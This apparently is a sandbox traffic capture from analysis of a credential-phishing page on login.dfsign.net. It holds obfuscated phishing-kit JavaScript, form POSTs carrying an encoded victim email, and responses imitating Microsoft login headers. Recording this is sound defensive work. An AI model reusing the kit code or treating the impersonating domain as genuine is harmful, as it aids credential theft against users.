2025-01-07 13:48:39 UTC	14514	IN	Data Raw: 6e 28 62 52 2c 62 71 2c 62 64 29 7b 76 61 72 20 72 44 3d 61 30 74 35 3b 69 66 28 27 59 4d 75 4f 7a 27 3d 3d 3d 27 66 75 52 4f 67 27 29 73 77 69 74 63 68 28 74 78 5b 72 44 28 30 78 32 37 65 29 5d 29 7b 63 61 73 65 20 30 78 30 3a 72 65 74 75 72 6e 5b 30 78 34 2c 74 77 28 29 5d 3b 63 61 73 65 20 30 78 31 3a 72 65 74 75 72 6e 20 74 64 3d 74 50 5b 27 73 65 6e 74 27 5d 28 29 2c 5b 30 78 32 2c 5b 28 74 63 3d 66 75 6e 63 74 69 6f 6e 28 62 59 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 62 59 3f 6e 75 6c 6c 3a 74 4f 28 62 59 2c 30 78 61 29 3b 7d 29 28 74 49 5b 30 78 30 5d 29 2c 62 64 28 74 52 5b 30 78 31 5d 29 2c 74 6a 28 74 6b 5b 30 78 32 5d 29 2c 74 58 28 74 7a 5b 30 78 33 5d 29 5d 5d 3b 7d 65 6c 73 65 7b 76 61 72 20 62 78 3d 62 64 28 30 78 36 61 38 29 2c 62 Data Ascii: n(bR,bq,bd){var rD=a0t5;if('YMuOz'==='fuROg')switch(tx[rD(0x27e)]){case 0x0:return[0x4,tw()];case 0x1:return td=tP['sent'](),[0x2,[(tc=function(bY){return null===bY?null:tO(bY,0xa);})(tI[0x0]),bd(tR[0x1]),tj(tk[0x2]),tX(tz[0x3])]];}else{var bx=bd(0x6a8),b
2025-01-07 13:48:39 UTC	16384	IN	Data Raw: 63 30 30 30 0d 0a 6c 28 30 78 33 62 63 29 5d 5b 6b 6c 28 30 78 34 66 34 29 5d 3b 62 52 5b 27 65 78 70 6f 72 74 73 27 5d 3d 62 78 3f 62 79 5b 6b 6c 28 30 78 31 34 31 29 5d 28 62 79 29 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 79 5b 27 61 70 70 6c 79 27 5d 28 62 79 2c 61 72 67 75 6d 65 6e 74 73 29 3b 7d 3b 7d 2c 30 78 38 30 30 3a 66 75 6e 63 74 69 6f 6e 28 62 52 2c 62 71 2c 62 64 29 7b 76 61 72 20 6a 30 3d 61 30 74 35 2c 62 78 3d 62 64 28 30 78 31 37 65 29 2c 62 79 3d 62 64 28 30 78 31 36 37 62 29 2c 62 55 3d 46 75 6e 63 74 69 6f 6e 5b 6a 30 28 30 78 33 62 63 29 5d 2c 62 69 3d 62 78 26 26 4f 62 6a 65 63 74 5b 27 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 27 5d 2c 62 59 3d 62 79 28 62 55 2c 6a 30 28 30 78 65 39 Data Ascii: c000l(0x3bc)][kl(0x4f4)];bR['exports']=bx?by[kl(0x141)](by):function(){return by['apply'](by,arguments);};},0x800:function(bR,bq,bd){var j0=a0t5,bx=bd(0x17e),by=bd(0x167b),bU=Function[j0(0x3bc)],bi=bx&&Object['getOwnPropertyDescriptor'],bY=by(bU,j0(0xe9
2025-01-07 13:48:39 UTC	16384	IN	Data Raw: 72 20 62 79 3d 74 46 5b 74 67 5d 3b 72 65 74 75 72 6e 20 74 4c 28 62 79 29 3f 76 6f 69 64 20 30 78 30 3a 74 42 28 62 79 29 3b 7d 65 6c 73 65 7b 76 61 72 20 62 71 3d 4d 61 74 68 5b 4a 50 28 30 78 34 32 39 29 5d 2c 62 64 3d 4d 61 74 68 5b 4a 50 28 30 78 32 36 35 29 5d 3b 62 52 5b 4a 50 28 30 78 33 66 62 29 5d 3d 4d 61 74 68 5b 4a 50 28 30 78 32 62 62 29 5d 7c 7c 66 75 6e 63 74 69 6f 6e 28 62 79 29 7b 76 61 72 20 62 55 3d 2b 62 79 3b 72 65 74 75 72 6e 28 62 55 3e 30 78 30 3f 62 64 3a 62 71 29 28 62 55 29 3b 7d 3b 7d 7d 2c 30 78 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 62 52 2c 62 71 2c 62 64 29 7b 76 61 72 20 4a 52 3d 61 30 74 35 2c 62 78 2c 62 79 2c 62 55 2c 62 69 2c 62 59 2c 62 6f 3d 62 64 28 30 78 31 35 63 61 29 2c 62 56 3d 62 64 28 30 78 31 66 62 62 29 2c Data Ascii: r by=tF[tg];return tL(by)?void 0x0:tB(by);}else{var bq=Math[JP(0x429)],bd=Math[JP(0x265)];bR[JP(0x3fb)]=Math[JP(0x2bb)]\|\|function(by){var bU=+by;return(bU>0x0?bd:bq)(bU);};}},0x229:function(bR,bq,bd){var JR=a0t5,bx,by,bU,bi,bY,bo=bd(0x15ca),bV=bd(0x1fbb),
2025-01-07 13:48:39 UTC	16384	IN	Data Raw: 76 28 30 78 33 66 62 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 62 6f 29 7b 76 61 72 20 48 4f 3d 48 76 3b 72 65 74 75 72 6e 20 62 59 28 62 6f 5b 48 4f 28 30 78 32 33 64 29 5d 29 3b 7d 3b 7d 7d 3b 7d 2c 30 78 31 65 33 3a 66 75 6e 63 74 69 6f 6e 28 62 52 2c 62 71 2c 62 64 29 7b 76 61 72 20 48 43 3d 61 30 74 35 2c 62 78 3d 62 64 28 30 78 38 66 35 29 2c 62 79 3d 62 64 28 30 78 39 34 36 29 2c 62 55 3d 62 64 28 30 78 31 37 35 66 29 2c 62 69 3d 62 64 28 30 78 31 29 28 48 43 28 30 78 33 64 37 29 29 3b 62 52 5b 48 43 28 30 78 33 66 62 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 62 59 2c 62 6f 29 7b 76 61 72 20 48 58 3d 48 43 3b 69 66 28 48 58 28 30 78 35 31 39 29 21 3d 3d 27 78 57 6c 59 76 27 29 7b 76 61 72 20 62 46 3d 74 5a 5b 48 58 28 30 78 32 30 63 29 5d 2c 62 5a 3d 62 46 5b Data Ascii: v(0x3fb)]=function(bo){var HO=Hv;return bY(bo[HO(0x23d)]);};}};},0x1e3:function(bR,bq,bd){var HC=a0t5,bx=bd(0x8f5),by=bd(0x946),bU=bd(0x175f),bi=bd(0x1)(HC(0x3d7));bR[HC(0x3fb)]=function(bY,bo){var HX=HC;if(HX(0x519)!=='xWlYv'){var bF=tZ[HX(0x20c)],bZ=bF[
2025-01-07 13:48:39 UTC	8	IN	Data Raw: 2c 62 65 3d 62 63 0d 0a Data Ascii: ,be=bc
2025-01-07 13:48:39 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 28 62 65 2f 30 78 39 38 39 36 38 30 29 3b 7d 2c 62 4b 3d 66 75 6e 63 74 69 6f 6e 28 62 76 2c 62 4f 29 7b 66 6f 72 28 76 61 72 20 62 43 3d 30 78 36 2c 62 58 3d 30 78 30 3b 2d 2d 62 43 3e 3d 30 78 30 3b 29 62 58 2b 3d 62 76 5b 62 43 5d 2c 62 76 5b 62 43 5d 3d 62 63 28 62 58 2f 62 4f 29 2c 62 58 3d 62 58 25 62 4f 2a 30 78 39 38 39 36 38 30 3b 7d 2c 62 6d 3d 66 75 6e 63 74 69 6f 6e 28 62 76 29 7b 76 61 72 20 50 51 3d 50 4c 3b 66 6f 72 28 76 61 72 20 62 4f 3d 30 78 36 2c 62 43 3d 27 27 3b 2d 2d 62 4f 3e 3d 30 78 30 3b 29 69 66 28 27 27 21 3d 3d 62 43 7c 7c 30 78 30 3d 3d 3d 62 4f 7c 7c 30 78 30 21 3d 3d 62 76 5b 62 4f 5d 29 7b 76 61 72 20 62 58 3d 62 75 28 62 76 5b 62 4f 5d 29 3b 62 43 3d 27 27 3d 3d 3d 62 43 3f 62 58 3a 62 43 2b 62 46 28 27 Data Ascii: 4000(be/0x989680);},bK=function(bv,bO){for(var bC=0x6,bX=0x0;--bC>=0x0;)bX+=bv[bC],bv[bC]=bc(bX/bO),bX=bX%bO*0x989680;},bm=function(bv){var PQ=PL;for(var bO=0x6,bC='';--bO>=0x0;)if(''!==bC\|\|0x0===bO\|\|0x0!==bv[bO]){var bX=bu(bv[bO]);bC=''===bC?bX:bC+bF('
2025-01-07 13:48:39 UTC	8	IN	Data Raw: 28 7b 27 74 61 72 0d 0a Data Ascii: ({'tar
2025-01-07 13:48:39 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 67 65 74 27 3a 52 4b 28 30 78 31 32 37 29 2c 27 73 74 61 74 27 3a 21 30 78 30 2c 27 66 6f 72 63 65 64 27 3a 21 62 56 7d 2c 7b 27 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 27 3a 72 59 7d 29 2c 62 68 28 29 2c 62 77 28 72 34 2c 62 6c 29 2c 62 42 5b 62 45 5d 3d 21 30 78 30 3b 7d 2c 30 78 61 61 64 3a 66 75 6e 63 74 69 6f 6e 28 62 52 2c 62 71 2c 62 64 29 7b 76 61 72 20 52 73 3d 61 30 74 35 2c 62 78 3d 62 64 28 30 78 32 31 61 34 29 2c 62 79 3d 62 64 28 30 78 31 37 65 29 2c 62 55 3d 62 64 28 30 78 31 35 63 61 29 2c 62 69 3d 62 64 28 30 78 31 32 39 61 29 2c 62 59 3d 62 64 28 30 78 31 36 37 62 29 2c 62 6f 3d 62 64 28 30 78 35 63 62 29 2c 62 56 3d 62 64 28 30 78 31 32 63 66 29 2c 62 75 3d 62 64 28 30 78 31 38 37 35 29 2c 62 63 3d 62 Data Ascii: 4000get':RK(0x127),'stat':!0x0,'forced':!bV},{'getOwnPropertyNames':rY}),bh(),bw(r4,bl),bB[bE]=!0x0;},0xaad:function(bR,bq,bd){var Rs=a0t5,bx=bd(0x21a4),by=bd(0x17e),bU=bd(0x15ca),bi=bd(0x129a),bY=bd(0x167b),bo=bd(0x5cb),bV=bd(0x12cf),bu=bd(0x1875),bc=b
2025-01-07 13:48:39 UTC	8	IN	Data Raw: 28 30 78 33 31 66 0d 0a Data Ascii: (0x31f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49717	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:40 UTC	948	OUT	POST /?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t HTTP/1.1 Host: login.dfsign.net Connection: keep-alive Content-Length: 4616 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://login.dfsign.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:40 UTC	4616	OUT	Data Raw: 61 34 63 31 30 66 68 72 63 3d 25 35 42 25 35 42 25 32 32 32 35 33 33 34 31 32 35 33 33 34 36 32 35 25 32 32 25 32 43 25 32 32 33 37 34 36 37 30 33 35 36 63 32 35 33 37 25 32 32 25 32 43 25 32 32 34 36 32 35 33 33 34 34 37 36 33 34 37 34 25 32 32 25 32 43 25 32 32 37 61 33 38 37 32 37 38 33 35 33 33 33 30 25 32 32 25 32 43 25 32 32 33 34 33 37 33 35 33 32 33 38 33 39 33 30 25 32 32 25 32 43 25 32 32 33 36 33 34 33 33 33 36 33 38 33 33 33 39 25 32 32 25 35 44 25 32 43 25 32 32 35 33 30 34 37 35 32 38 39 30 25 32 32 25 32 43 25 32 32 37 34 32 36 35 36 30 25 32 32 25 32 43 35 25 35 44 26 78 34 6e 6e 37 63 36 34 64 61 6e 78 3d 25 35 42 25 35 42 25 32 32 36 65 32 35 33 33 34 31 36 62 36 63 25 32 32 25 32 43 25 32 32 37 31 37 30 37 32 33 38 32 35 33 33 25 32 32 Data Ascii: a4c10fhrc=%5B%5B%2225334125334625%22%2C%22374670356c2537%22%2C%2246253344763474%22%2C%227a387278353330%22%2C%2234373532383930%22%2C%2236343336383339%22%5D%2C%225304752890%22%2C%227426560%22%2C5%5D&x4nn7c64danx=%5B%5B%226e2533416b6c%22%2C%22717072382533%22
2025-01-07 13:48:40 UTC	448	IN	HTTP/1.1 302 Found Server: nginx Date: Tue, 07 Jan 2025 13:48:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close location: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t set-cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; Domain=dfsign.net; HttpOnly; Path=/; SameSite=None; Secure
2025-01-07 13:48:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49716	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:40 UTC	961	OUT	GET /?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t HTTP/1.1 Host: login.dfsign.net Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:41 UTC	776	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 56135 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: d17cee8d-1931-4062-bf4d-e27fb6e48904 x-ms-ests-server: 2.1.19683.6 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:48:41 UTC	15608	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bc bd 69 63 e2 48 b2 28 fa bd 7f 85 cd e9 67 d0 18 63 76 30 94 9a 01 84 5d 2e 1b bc 80 bc d1 8c af 04 02 64 83 84 25 61 9b aa f2 7f bf 11 91 99 5a 30 54 f7 9d 99 f3 e6 9c 2e 4b a9 5c 22 23 63 cf c8 e4 cb ae 72 d1 ec dd 5f b6 76 a6 de 7c f6 c7 6f 5f d8 9f 9d 2f 53 43 1b c1 df 9d 2f 9e e9 cd 0c 7c da b9 36 46 a6 63 0c 3d d3 9a e0 87 43 ff cb 97 b9 e1 69 3b 43 db f2 0c cb 93 63 9e f1 ee 1d 62 3f d5 9d e1 54 73 5c c3 93 97 de f8 a0 1c 83 31 bc c5 81 f1 b2 34 5f e5 58 93 55 3f e8 ad 16 46 ec 70 43 37 a7 2d d9 18 4d 8c 68 ab bb 03 b5 7e d0 b4 e7 0b cd 33 f5 d9 e6 86 6f e6 c8 9b ca 23 e3 d5 1c 1a 07 f4 92 dc 31 2d d3 33 b5 d9 81 3b d4 66 86 9c 49 a5 93 3b 73 ed dd 9c 2f e7 bc 28 8b 45 4b d7 70 e8 5d 83 be e5 95 e1 c6 76 2c 6d 6e c8 Data Ascii: icH(gcv0].d%aZ0T.K\"#cr_v\|o_/SC/\|6Fc=Ci;Ccb?Ts\14_XU?FpC7-Mh~3o#1-3;fI;s/(EKp]v,mn
2025-01-07 13:48:41 UTC	14460	IN	Data Raw: a8 86 9f 43 44 7b 8e 9f 03 88 51 fd c5 e9 61 2d 00 f0 39 4c 7d 0c 13 ab 06 9e 48 e7 58 44 56 12 14 bf 5b b1 12 72 b5 48 d2 ac f8 8e c3 69 80 51 8d e3 a9 30 02 ff 94 ae 4d a8 f8 65 25 2c a3 c7 ec 10 f7 73 44 79 be e0 97 03 1d f9 e5 d9 42 5a 94 a3 68 ab a0 f6 6d 2c 2d b4 e4 c5 bd 08 fe 8f 99 40 39 03 83 68 96 77 96 1f 51 23 3e e2 10 cd 79 b6 46 d9 8c 1f 39 d8 41 6e f8 dc 14 e1 e0 eb 59 e4 01 10 d1 13 f1 d2 1a 5c ec 05 77 e2 88 ea 43 46 02 ef af 04 fd c5 af 5b dd 1e e7 f0 2c 38 dc 5b 69 ae 1b d0 5c 97 98 2b 43 34 27 9e 69 cf 4a 3d 4d a8 e0 16 86 f6 b5 df 79 ed bc 21 ed ab 75 5f 6e ab dd 0d f1 e5 28 79 90 d3 ce 1d eb 85 c8 66 c8 8f 42 7e 3c f8 31 c1 9e 24 ba 20 c1 96 a4 96 2f b2 2d 49 96 7c 93 e1 fe 6e 77 83 6a c1 80 0f 9f e2 08 a6 93 a4 40 4d 52 b9 49 2a d3 Data Ascii: CD{Qa-9L}HXDV[rHiQ0Me%,sDyBZhm,-@9hwQ#>yF9AnY\wCF[,8[i\+C4'iJ=My!u_n(yfB~<1$ /-I\|nwj@MRI*
2025-01-07 13:48:41 UTC	16384	IN	Data Raw: d2 85 c0 00 d4 d3 ec ce 0e e2 20 1b e0 9b 23 98 f4 5f 4a 47 ca 8f db db 74 8a c4 00 0f 0b e2 07 ad 70 97 a4 97 12 b1 48 79 1e cd 72 d6 6c 20 2e 7e e8 6b 8e ef 3f 7e 02 16 92 9f 74 97 bd 95 ce 52 ca ec d5 94 79 32 c7 c4 a4 29 ce 4d f9 df 7f a7 3b 6a 72 27 33 66 67 69 11 c4 4b 3b 98 b6 12 35 31 4e 65 43 44 7b 92 b3 5e 85 28 7e 39 d5 52 6c 43 aa b1 a5 c1 66 2e 85 fe e5 4b 0b 88 44 cc c4 2c 49 fb 20 3d 27 4b 52 3d 82 d8 f8 34 cb 61 24 ef 21 b3 d8 94 ba f0 24 ff 0b 52 62 8f a9 0c e9 33 c3 8c 33 09 08 f8 92 bd 9a 2c c8 b1 48 30 95 73 8c 10 51 24 c3 da c3 4d ad c8 63 af af 59 e0 19 73 08 5c 73 dc 80 15 2a c1 67 28 1e 99 3e 2a 50 62 17 53 18 a9 51 ef 5a 85 1e c8 3c cf 89 60 0a c1 30 b3 07 8d 11 7b 84 b9 c8 eb 60 1a 41 e9 85 81 55 47 bb 9b 35 71 69 06 f8 58 37 ed Data Ascii: #_JGtpHyrl .~k?~tRy2)M;jr'3fgiK;51NeCD{^(~9RlCf.KD,I ='KR=4a$!$Rb33,H0sQ$McYs\sg(>PbSQZ<`0{`AUG5qiX7
2025-01-07 13:48:41 UTC	9683	IN	Data Raw: 73 16 40 17 6f 62 00 5d 09 a7 e9 74 44 9b 7e 4a d1 0b af db 69 7a 61 a3 dc 9a 6c a4 6b a0 ad 85 b8 25 ce 55 11 95 bc b5 6c 21 25 e9 56 40 79 30 5e 03 40 1f 32 f3 82 cd 0c bc 6e ff 8d c8 16 a3 eb 5d 2f bc 75 fb 45 6d 5b 81 19 7a 90 a9 b3 06 9d 73 ad e8 6a 40 27 69 46 17 5a 39 68 28 48 64 41 b8 84 24 21 e9 5f da f1 61 a7 45 b0 3e 27 bd 19 ef bf b4 19 07 86 a3 f9 e2 ed fb f0 0d 60 8c 9d af e3 bb 13 e2 59 48 6f 7b 9d 4f 83 75 a0 f2 76 b5 ac 74 cd a1 31 6c 6a f6 5e 8e 8f 2b 91 e4 aa 50 01 61 d9 b5 b6 6e 23 d6 06 2c d6 02 01 dd f0 6f 54 ec 0a d0 ad ce 80 3a 65 7a 05 66 12 31 90 32 45 6e 03 15 5f ef ab 6d 23 6d 24 b0 7e f2 d6 fb 90 53 81 f2 ae 8d 20 fd fb f3 f6 59 37 a7 0f d0 3c 52 9e 54 05 cc 0a fc a4 aa 40 84 68 eb 27 ad 7f a3 ce b3 d0 dc 8d 44 6c 3e eb 8e e6 Data Ascii: s@ob]tD~Jizalk%Ul!%V@y0^@2n]/uEm[zsj@'iFZ9h(HdA$!_aE>'`YHo{Ouvt1lj^+Pan#,oT:ezf12En_m#m$~S Y7<RT@h'Dl>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49721	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:42 UTC	625	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.dfsign.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:43 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:43 GMT Content-Type: application/x-javascript Content-Length: 49907 Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 02 Oct 2024 20:05:23 GMT etag: 0x8DCE31D8CF87EF9 x-ms-request-id: b9f61207-d01e-004f-012f-60c5bd000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134842Z-1777998d8f977q6rhC1DUSdegw00000003u000000000c3yf x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:43 UTC	15567	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a d2 dd cc 00 61 08 4c cf 2e b0 5c 4e ac 80 a7 83 9d b5 1d 68 06 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 e1 79 ef ec bc 32 f8 58 39 ff 7c 78 76 50 39 85 b7 7f 54 4e 06 e7 87 fb fd 1f af 07 3f 8a ff 9f df f9 71 65 e2 4f 45 05 7e 47 6e 2c bc 4a 18 54 c2 a8 e2 07 e3 30 9a 85 91 9b 88 b8 72 0f 7f 23 df 9d 56 26 51 78 5f 49 ee 44 65 16 85 7f 88 71 12 57 a6 7e 9c 40 a1 91 98 86 8f 95 2a 54 17 79 95 53 37 4a 9e 2a 87 a7 66 1d ea 17 50 9b 7f eb 07 50 7a 1c ce 9e e0 f9 2e a9 04 61 e2 8f 45 c5 0d 3c aa 6d 0a 2f 41 2c 2a f3 c0 13 51 e5 f1 ce 1f df 55 8e fd 71 14 c6 e1 24 a9 44 62 2c Data Ascii: m[80OL;waL.\Nhr~=,JUT~l?y2X9\|xvP9TN?qeOE~Gn,JT0r#V&Qx_IDeqW~@TyS7JfPPz.aE<m/A,*QUq$Db,
2025-01-07 13:48:43 UTC	16384	IN	Data Raw: d7 13 77 83 5b ce 75 c8 5d 1e 38 7e d8 ef 65 93 b7 51 ba 99 a3 99 6e c4 c1 49 25 dd 80 44 6f 6d d6 5b f8 24 0d de 5f 42 cf db 25 c7 07 20 5b 70 93 25 fa 4a f2 b1 09 72 79 ab 24 b3 29 e5 95 16 1b 3c 9b e3 f6 1e bc 05 2b a7 73 9c 09 3c 7b 87 34 0e 7c c0 b3 7e cf c4 83 50 e7 60 ac d8 21 42 fd 4d eb 90 1b 4e 38 90 99 77 8e e0 d0 a6 2f bd 49 a2 b4 57 da 5c 87 87 25 cd 61 58 8e c4 2d 4e ad 5b 1a 28 47 10 3f 31 5a 3e 44 bc 65 2b c5 c3 87 fc 55 44 b6 f1 b7 8f bd 8f 7b 1f 77 8d bc 52 c5 f3 16 77 73 08 e5 a7 d2 38 b4 8d 58 7b 03 2e 80 2a 7d 95 75 9f bd f0 3c 9d e0 69 54 92 0e 40 a4 ab 30 9c 54 f3 53 f3 32 8c 02 fa 7d e9 9e 5e 90 4a da 17 b0 b9 c2 43 2e b7 f6 3f 0c ce 10 8a e3 b7 49 a4 a8 49 28 d5 0d 41 59 e3 36 4b e1 be dd c8 64 fa 76 93 fc 38 74 6a 0c 75 16 78 23 Data Ascii: w[u]8~eQnI%Dom[$_B% [p%Jry$)<+s<{4\|~P`!BMN8w/IW\%aX-N[(G?1Z>De+UD{wRws8X{.*}u<iT@0TS2}^JC.?II(AY6Kdv8tjux#
2025-01-07 13:48:43 UTC	16384	IN	Data Raw: 4d 72 6e 94 a7 dd ea 59 0f ef 05 75 8b a0 8d 52 80 ef 2b 06 12 c3 c1 be 64 ff b3 5f b8 85 2f 3e 23 d3 0a 7c e3 db 0a 20 3d 2c 03 d5 15 81 16 c1 db 8b 1b b1 e8 90 20 7d 03 d7 89 fc 82 95 08 e7 82 38 82 bc a2 be 40 90 dc 28 1c 20 3c 56 6f 58 4b 65 71 33 d2 14 d5 6a 30 5f ab 6e 29 97 a9 35 e7 db 85 d0 f8 29 6c a6 87 ce ea d0 e6 af da 06 29 cd e5 24 25 e1 8d b6 41 3e c9 47 7f 89 27 5d 95 4c 81 c0 68 b3 7c 79 ee fb 96 64 4f b1 8a 1b b4 f1 9f 35 a1 40 d4 c2 4f 21 02 fb f9 0c 7b c1 5a 22 92 aa 59 05 b2 f2 88 33 d1 f9 e4 b5 ef e2 f4 e7 27 f8 d1 7d ca 08 1d 07 11 5c b2 9e 9b 66 49 f9 67 2d 6a d2 ce 2b 2d d2 5a 43 f4 66 3f bc 12 e2 6d 24 d3 00 87 67 a2 36 8f 80 3a 37 d2 3a 00 64 0e 19 e1 a8 7a 8d 93 ca c7 7a ac fc 55 5b c8 f8 34 ca 67 b2 d7 8e d4 7b bc d5 aa d6 56 Data Ascii: MrnYuR+d_/>#\| =, }8@( <VoXKeq3j0_n)5)l)$%A>G']Lh\|ydO5@O!{Z"Y3'}\fIg-j+-ZCf?m$g6:7:dzzU[4g{V
2025-01-07 13:48:43 UTC	1572	IN	Data Raw: f1 9f f7 bf ff d3 0f 8f bf ad 8f e0 b8 9d 5f 64 16 3a df 7d 9b 24 8f be 7f 1c ef fe f0 68 2f da 7d 3c fd ee 87 dd 1f e2 6f f7 76 a3 3f ed 7d bb ff dd f4 d1 9f be ff f6 4f 0e b1 52 09 9d ab 15 b1 51 19 11 fc 82 58 a8 9c 38 28 62 0d a6 e1 1e b1 4a 7c ee 1e ca 9f 03 f9 f3 a2 e5 b6 7b 6d 9c 4a 4a 01 ff 46 96 48 6d df 91 64 54 19 67 6b 04 2a 62 96 25 0b e4 d4 c0 a5 a6 45 af 62 b8 e2 e0 0e 00 f5 68 6c d8 25 44 a0 d3 c6 9c 6d 8d 93 2e 82 62 3b 12 9e f1 4e 92 89 89 bf 1c f8 4d 92 80 1d 13 a5 81 6b 0f 74 b0 76 80 70 e9 e9 2c 49 af 92 78 a0 74 57 ec af 25 df 18 38 c3 d4 53 59 e6 ae 8e 8b 93 b1 d2 56 e2 b7 bf 85 b6 94 6e 6e da cf 4a 54 d6 75 6d ac a3 fc 5d 23 ea 09 04 32 6d 86 4d 28 87 16 35 28 24 8a d7 e3 11 0c 87 53 1f 83 11 24 c4 fc c3 89 41 82 39 c4 98 16 56 9e Data Ascii: _d:}$h/}<ov?}ORQX8(bJ\|{mJJFHmdTgk*b%Ebhl%Dm.b;NMktvp,IxtW%8SYVnnJTum]#2mM(5($S$A9V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49725	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
